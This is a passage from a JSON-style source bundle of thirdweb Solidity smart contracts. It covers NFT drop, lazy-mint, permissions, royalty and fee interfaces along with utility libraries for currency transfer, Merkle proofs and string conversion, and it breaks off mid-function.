"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./IClaimConditionMultiPhase.sol\";\n\n/**\n * The interface `IDrop` is written for thirdweb's 'Drop' contracts, which are distribution mechanisms for tokens.\n *\n * An authorized wallet can set a series of claim conditions, ordered by their respective `startTimestamp`.\n * A claim condition defines criteria under which accounts can mint tokens. Claim conditions can be overwritten\n * or added to by the contract admin. At any moment, there is only one active claim condition.\n */\n\ninterface IDrop is IClaimConditionMultiPhase {\n /**\n * @param proof Proof of concerned wallet's inclusion in an allowlist.\n * @param quantityLimitPerWallet The total quantity of tokens the allowlisted wallet is eligible to claim over time.\n * @param pricePerToken The price per token the allowlisted wallet must pay to claim tokens.\n * @param currency The currency in which the allowlisted wallet must pay the price for claiming tokens.\n */\n struct AllowlistProof {\n bytes32[] proof;\n uint256 quantityLimitPerWallet;\n uint256 pricePerToken;\n address currency;\n }\n\n /// @notice Emitted when tokens are claimed via `claim`.\n event TokensClaimed(\n uint256 indexed claimConditionIndex,\n address indexed claimer,\n address indexed receiver,\n uint256 startTokenId,\n uint256 quantityClaimed\n );\n\n /// @notice Emitted when the contract's claim conditions are updated.\n event ClaimConditionsUpdated(ClaimCondition[] claimConditions, bool resetEligibility);\n\n /**\n * @notice Lets an account claim a given quantity of NFTs.\n *\n * @param receiver The receiver of the NFTs to claim.\n * @param quantity The quantity of NFTs to claim.\n * @param currency The currency in which to pay for the claim.\n * @param pricePerToken The price per token to pay for the claim.\n * @param allowlistProof The proof of the claimer's inclusion in the merkle root allowlist\n * of the claim conditions that apply.\n * @param data Arbitrary bytes data that can be leveraged in the implementation of this interface.\n */\n function claim(\n address receiver,\n uint256 quantity,\n address currency,\n uint256 pricePerToken,\n AllowlistProof calldata allowlistProof,\n bytes memory data\n ) external payable;\n\n /**\n * @notice Lets a contract admin (account with `DEFAULT_ADMIN_ROLE`) set claim conditions.\n *\n * @param phases Claim conditions in ascending order by `startTimestamp`.\n *\n * @param resetClaimEligibility Whether to honor the restrictions applied to wallets who have claimed tokens in the current conditions,\n * in the new claim conditions being set.\n *\n */\n function setClaimConditions(ClaimCondition[] calldata phases, bool resetClaimEligibility) external;\n}\n"
},
"contracts/extension/interface/ILazyMint.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `LazyMint` is a contract extension for any base NFT contract. It lets you 'lazy mint' any number of NFTs\n * at once. Here, 'lazy mint' means defining the metadata for particular tokenIds of your NFT contract, without actually\n * minting a non-zero balance of NFTs of those tokenIds.\n */\n\ninterface ILazyMint {\n /// @dev Emitted when tokens are lazy minted.\n event TokensLazyMinted(uint256 indexed startTokenId, uint256 endTokenId, string baseURI, bytes encryptedBaseURI);\n\n /**\n * @notice Lazy mints a given amount of NFTs.\n *\n * @param amount The number of NFTs to lazy mint.\n *\n * @param baseURIForTokens The base URI for the 'n' number of NFTs being lazy minted, where the metadata for each\n * of those NFTs is `${baseURIForTokens}/${tokenId}`.\n *\n * @param extraData Additional bytes data to be used at the discretion of the consumer of the contract.\n *\n * @return batchId A unique integer identifier for the batch of NFTs lazy minted together.\n */\n function lazyMint(\n uint256 amount,\n string calldata baseURIForTokens,\n bytes calldata extraData\n ) external returns (uint256 batchId);\n}\n"
},
"contracts/extension/interface/IMulticall.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * @dev Provides a function to batch together multiple calls in a single external call.\n *\n * _Available since v4.1._\n */\ninterface IMulticall {\n /**\n * @dev Receives and executes a batch of function calls on this contract.\n */\n function multicall(bytes[] calldata data) external returns (bytes[] memory results);\n}\n"
},
"contracts/extension/interface/IOwnable.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `Ownable` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * who the 'owner' of the inheriting smart contract is, and lets the inheriting contract perform conditional logic that uses\n * information about who the contract's owner is.\n */\n\ninterface IOwnable {\n /// @dev Returns the owner of the contract.\n function owner() external view returns (address);\n\n /// @dev Lets a module admin set a new owner for the contract. The new owner must be a module admin.\n function setOwner(address _newOwner) external;\n\n /// @dev Emitted when a new Owner is set.\n event OwnerUpdated(address indexed prevOwner, address indexed newOwner);\n}\n"
},
"contracts/extension/interface/IPermissions.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IPermissions {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"contracts/extension/interface/IPermissionsEnumerable.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./IPermissions.sol\";\n\n/**\n * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.\n */\ninterface IPermissionsEnumerable is IPermissions {\n /**\n * @dev Returns one of the accounts that have `role`. `index` must be a\n * value between 0 and {getRoleMemberCount}, non-inclusive.\n *\n * Role bearers are not sorted in any particular way, and their ordering may\n * change at any point.\n *\n * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure\n * you perform all queries on the same block. See the following\n * [forum post](https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296)\n * for more information.\n */\n function getRoleMember(bytes32 role, uint256 index) external view returns (address);\n\n /**\n * @dev Returns the number of accounts that have `role`. Can be used\n * together with {getRoleMember} to enumerate all bearers of a role.\n */\n function getRoleMemberCount(bytes32 role) external view returns (uint256);\n}\n"
},
"contracts/extension/interface/IPlatformFee.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `PlatformFee` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of platform fee and the platform fee basis points, and lets the inheriting contract perform conditional logic\n * that uses information about platform fees, if desired.\n */\n\ninterface IPlatformFee {\n /// @dev Fee type variants: percentage fee and flat fee\n enum PlatformFeeType {\n Bps,\n Flat\n }\n\n /// @dev Returns the platform fee bps and recipient.\n function getPlatformFeeInfo() external view returns (address, uint16);\n\n /// @dev Lets a module admin update the fees on primary sales.\n function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external;\n\n /// @dev Emitted when fee on primary sales is updated.\n event PlatformFeeInfoUpdated(address indexed platformFeeRecipient, uint256 platformFeeBps);\n\n /// @dev Emitted when the flat platform fee is updated.\n event FlatPlatformFeeUpdated(address platformFeeRecipient, uint256 flatFee);\n\n /// @dev Emitted when the platform fee type is updated.\n event PlatformFeeTypeUpdated(PlatformFeeType feeType);\n}\n"
},
"contracts/extension/interface/IPrimarySale.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * Thirdweb's `Primary` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of primary sales, and lets the inheriting contract perform conditional logic that uses information about\n * primary sales, if desired.\n */\n\ninterface IPrimarySale {\n /// @dev The adress that receives all primary sales value.\n function primarySaleRecipient() external view returns (address);\n\n /// @dev Lets a module admin set the default recipient of all primary sales.\n function setPrimarySaleRecipient(address _saleRecipient) external;\n\n /// @dev Emitted when a new sale recipient is set.\n event PrimarySaleRecipientUpdated(address indexed recipient);\n}\n"
},
"contracts/extension/interface/IRoyalty.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"../../eip/interface/IERC2981.sol\";\n\n/**\n * Thirdweb's `Royalty` is a contract extension to be used with any base contract. It exposes functions for setting and reading\n * the recipient of royalty fee and the royalty fee basis points, and lets the inheriting contract perform conditional logic\n * that uses information about royalty fees, if desired.\n *\n * The `Royalty` contract is ERC2981 compliant.\n */\n\ninterface IRoyalty is IERC2981 {\n struct RoyaltyInfo {\n address recipient;\n uint256 bps;\n }\n\n /// @dev Returns the royalty recipient and fee bps.\n function getDefaultRoyaltyInfo() external view returns (address, uint16);\n\n /// @dev Lets a module admin update the royalty bps and recipient.\n function setDefaultRoyaltyInfo(address _royaltyRecipient, uint256 _royaltyBps) external;\n\n /// @dev Lets a module admin set the royalty recipient for a particular token Id.\n function setRoyaltyInfoForToken(uint256 tokenId, address recipient, uint256 bps) external;\n\n /// @dev Returns the royalty recipient for a particular token Id.\n function getRoyaltyInfoForToken(uint256 tokenId) external view returns (address, uint16);\n\n /// @dev Emitted when royalty info is updated.\n event DefaultRoyalty(address indexed newRoyaltyRecipient, uint256 newRoyaltyBps);\n\n /// @dev Emitted when royalty recipient for tokenId is set\n event RoyaltyForToken(uint256 indexed tokenId, address indexed royaltyRecipient, uint256 royaltyBps);\n}\n"
},
"contracts/external-deps/openzeppelin/metatx/ERC2771ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.0 (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.11;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771ContextUpgradeable is Initializable, ContextUpgradeable {\n mapping(address => bool) private _trustedForwarder;\n\n function __ERC2771Context_init(address[] memory trustedForwarder) internal onlyInitializing {\n __Context_init_unchained();\n __ERC2771Context_init_unchained(trustedForwarder);\n }\n\n function __ERC2771Context_init_unchained(address[] memory trustedForwarder) internal onlyInitializing {\n for (uint256 i = 0; i < trustedForwarder.length; i++) {\n _trustedForwarder[trustedForwarder[i]] = true;\n }\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return _trustedForwarder[forwarder];\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n\n uint256[49] private __gap;\n}\n"
},
"contracts/external-deps/openzeppelin/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../../../../eip/interface/IERC20.sol\";\nimport { Address } from \"@openzeppelin/contracts/utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"contracts/infra/interface/IWETH.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\ninterface IWETH {\n function deposit() external payable;\n\n function withdraw(uint256 amount) external;\n\n function transfer(address to, uint256 value) external returns (bool);\n}\n"
},
"contracts/lib/Address.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.1;\n\n/// @author thirdweb, OpenZeppelin Contracts (v4.9.0)\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"contracts/lib/CurrencyTransferLib.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n// Helper interfaces\nimport { IWETH } from \"../infra/interface/IWETH.sol\";\nimport { SafeERC20, IERC20 } from \"../external-deps/openzeppelin/token/ERC20/utils/SafeERC20.sol\";\n\nlibrary CurrencyTransferLib {\n using SafeERC20 for IERC20;\n\n /// @dev The address interpreted as native token of the chain.\n address public constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n\n /// @dev Transfers a given amount of currency.\n function transferCurrency(address _currency, address _from, address _to, uint256 _amount) internal {\n if (_amount == 0) {\n return;\n }\n\n if (_currency == NATIVE_TOKEN) {\n safeTransferNativeToken(_to, _amount);\n } else {\n safeTransferERC20(_currency, _from, _to, _amount);\n }\n }\n\n /// @dev Transfers a given amount of currency. (With native token wrapping)\n function transferCurrencyWithWrapper(\n address _currency,\n address _from,\n address _to,\n uint256 _amount,\n address _nativeTokenWrapper\n ) internal {\n if (_amount == 0) {\n return;\n }\n\n if (_currency == NATIVE_TOKEN) {\n if (_from == address(this)) {\n // withdraw from weth then transfer withdrawn native token to recipient\n IWETH(_nativeTokenWrapper).withdraw(_amount);\n safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);\n } else if (_to == address(this)) {\n // store native currency in weth\n require(_amount == msg.value, \"msg.value != amount\");\n IWETH(_nativeTokenWrapper).deposit{ value: _amount }();\n } else {\n safeTransferNativeTokenWithWrapper(_to, _amount, _nativeTokenWrapper);\n }\n } else {\n safeTransferERC20(_currency, _from, _to, _amount);\n }\n }\n\n /// @dev Transfer `amount` of ERC20 token from `from` to `to`.\n function safeTransferERC20(address _currency, address _from, address _to, uint256 _amount) internal {\n if (_from == _to) {\n return;\n }\n\n if (_from == address(this)) {\n IERC20(_currency).safeTransfer(_to, _amount);\n } else {\n IERC20(_currency).safeTransferFrom(_from, _to, _amount);\n }\n }\n\n /// @dev Transfers `amount` of native token to `to`.\n function safeTransferNativeToken(address to, uint256 value) internal {\n // solhint-disable avoid-low-level-calls\n // slither-disable-next-line low-level-calls\n (bool success, ) = to.call{ value: value }(\"\");\n require(success, \"native token transfer failed\");\n }\n\n /// @dev Transfers `amount` of native token to `to`. (With native token wrapping)\n function safeTransferNativeTokenWithWrapper(address to, uint256 value, address _nativeTokenWrapper) internal {\n // solhint-disable avoid-low-level-calls\n // slither-disable-next-line low-level-calls\n (bool success, ) = to.call{ value: value }(\"\");\n if (!success) {\n IWETH(_nativeTokenWrapper).deposit{ value: value }();\n IERC20(_nativeTokenWrapper).safeTransfer(to, value);\n }\n }\n}\n"
},
"contracts/lib/MerkleProof.sol": {
"content": "// SPDX-License-Identifier: Apache 2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nlibrary MerkleProof {\n function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool, uint256) {\n bytes32 computedHash = leaf;\n uint256 index = 0;\n\n for (uint256 i = 0; i < proof.length; i++) {\n index *= 2;\n bytes32 proofElement = proof[i];\n\n if (computedHash <= proofElement) {\n // Hash(current computed hash + current element of the proof)\n computedHash = keccak256(abi.encodePacked(computedHash, proofElement));\n } else {\n // Hash(current element of the proof + current computed hash)\n computedHash = keccak256(abi.encodePacked(proofElement, computedHash));\n index += 1;\n }\n }\n\n // Check if the computed hash (root) is equal to the provided root\n return (computedHash == root, index);\n }\n}\n"
},
"contracts/lib/Strings.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /// @dev Returns the hexadecimal representation of `value`.\n /// The output is prefixed with \"0x\", encoded using 2 hexadecimal digits per byte,\n /// and the alphabets are capitalized conditionally according to\n /// https://eips.ethereum.org/EIPS/eip-55\n function toHexStringChecksummed(address value) internal pure returns (string memory str) {\n str = toHexString(value);\n /// @solidity memory-safe-assembly\n assembly {\n let mask := shl(6, div(not(0), 255)) // `0b010000000100000000 ...`\n let o := add(str, 0x22)\n let hashed := and(keccak256(o, 40), mul(34, mask)) // `0b10001000 ... `\n let t := shl(240, 136) // `0b10001000 << 240`\n for {\n let i := 0\n } 1 {\n\n } {\n mstore(add(i, i), mul(t, byte(i, hashed)))\n i := add(i, 1)\n if eq(i, 20) {\n break\n }\n }\n mstore(o, xor(mload(o), shr(1, and(mload(0x00), and(mload(o), mask)))))\n o := add(o, 0x20)\n mstore(o, xor(mload(o), shr(1, and(mload(0x20), and(mload(o), mask)))))\n }\n }\n\n /// @dev Returns the hexadecimal representation of `value`.\n /// The output is prefixed with \"0x\" and encoded using 2 hexadecimal digits per byte.\n function toHexString(address value) internal pure returns (string memory str) {\n str = toHexStringNoPrefix(value);\n /// @solidity memory-safe-assembly\n assembly {\n let strLength := add(mload(str), 2) // Compute the length.\n mstore(str, 0x3078) // Write the \"0x\" prefix.\n str := sub(str, 2) // Move the pointer.\n mstore(str, strLength) // Write the length.\n }\n }\n\n /// @dev Returns the hexadecimal representation of `value`.\n /// The output is encoded using 2 hexadecimal digits per byte.\n function toHexStringNoPrefix(address value) internal pure returns (string memory str) {\n /// @solidity memory-safe-assembly\n assembly {\n str := mload(0x40)\n\n // Allocate the memory.\n // We need 0x20 bytes for the trailing zeros padding, 0x20 bytes for the length,\n // 0x02 bytes for the prefix, and 0x28 bytes for the digits.\n // The next multiple of 0x20 above (0x20 + 0x20 + 0x02 + 0x28) is 0x80.\n mstore(0x40, add(str, 0x80))\n\n // Store \"0123456789abcdef\" in scratch space.\n mstore(0x0f, 0x30313233343536373839616263646566)\n\n str := add(str, 2)\n mstore(str, 40)\n\n let o := add(str, 0x20)\n mstore(add(o, 40), 0)\n\n value := shl(96, value)\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n for {\n let i := 0\n } 1 {\n\n } {\n let p 